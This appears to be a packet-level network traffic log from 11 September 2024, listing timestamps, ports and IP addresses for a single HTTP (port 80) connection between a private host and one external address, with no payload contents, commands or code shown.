Sep 11, 2024 18:23:47.928536892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928669930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928670883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.928958893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928963900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928968906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928973913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928982973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928987026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.928992033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929091930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929091930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929224968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929229975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929234982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929240942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929306984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929313898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929317951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929322004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929331064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929335117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929338932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929346085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929349899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929356098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929361105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929363966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929384947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929384947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929385900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929452896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929888010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929893017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929898024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929910898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929914951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929919004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929925919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929932117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929935932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929939985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929945946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929949045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929954052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929959059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929963112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.929996967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929996967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.929996967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.930145025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.930502892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930506945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930510998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930517912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930527925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930532932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930537939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930541992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930546045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930552006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930556059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930566072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930571079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930774927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.930774927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.930774927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.930946112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930949926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930953979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930959940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930968046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930972099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.930977106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931050062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931056976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931061029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931065083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931075096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931078911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931082010 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931082964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931088924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931091070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931092978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931098938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931103945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931107998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931108952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931113005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931118965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931123018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931128025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931133032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931257963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931257963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931257963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.931902885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931911945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931915045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.931919098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932317019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.932347059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932461023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932465076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932468891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932473898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932482958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932487011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932490110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.932542086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.932542086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.932542086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.932924032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933126926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933131933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933135986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933140039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933151960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933156013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933161020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933166027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933193922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933193922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933235884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933239937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933243990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933248997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933254004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933254004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933258057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933381081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933381081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933423042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933427095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933430910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933437109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933528900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933584929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933589935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933594942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933598995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933695078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933698893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933703899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933710098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933720112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933722973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933759928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933759928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933759928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.933859110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933865070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933868885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933873892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933882952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933887005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.933896065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934040070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934040070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934040070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934650898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934655905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934659958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934729099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934732914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934737921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934742928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934751987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934756994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934787035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934787035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934787035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934824944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.934967041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934972048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934984922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934989929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.934998989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935003042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935008049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935012102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935017109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935024023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935026884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935030937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935041904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935045004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935097933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.935097933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.935097933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.935379982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935389996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935395956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935403109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935408115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.935578108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.935579062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936157942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936161995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936167002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936223984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936233044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936237097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936243057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936245918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936249971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936280966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936486006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936491013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936496019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936501980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936510086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936513901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936518908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936522961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936527014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936533928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936537981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936547041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936553001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936556101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936594963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936594963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936594963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936594963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.936973095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936976910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936981916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936988115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.936996937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937000990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937005997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937010050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937014103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937020063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937072039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937072039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937072039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937521935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937526941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937531948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937565088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937572956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937577963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937582016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937717915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937717915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937742949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937747955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937752962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937757969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937761068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937764883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937769890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937776089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937781096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937875032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937875986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.937952995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937957048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937961102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937967062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937977076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.937980890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.938138962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.938585997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.938813925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.939409971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.939409971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.017668009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017676115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017683029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017688990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017699003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017704964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017712116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017716885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017720938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017884970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017889023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017894030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017899036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017908096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017913103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017918110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017920971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.017942905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.017944098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.017944098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018132925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018137932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018142939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018150091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018158913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018162966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018167973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018172026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018205881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018205881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018460989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018465042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018470049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018476963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018480062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018484116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018490076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018492937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018513918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018553972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018553972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018729925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018734932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018739939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018796921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018850088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018856049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018860102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018865108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018868923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018872023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.018975019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.018975019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019047976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019052982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019057989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019063950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019072056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019077063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019082069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019084930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019337893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019342899 CEST	80	49710	104.21.14.133	192.168.2.5
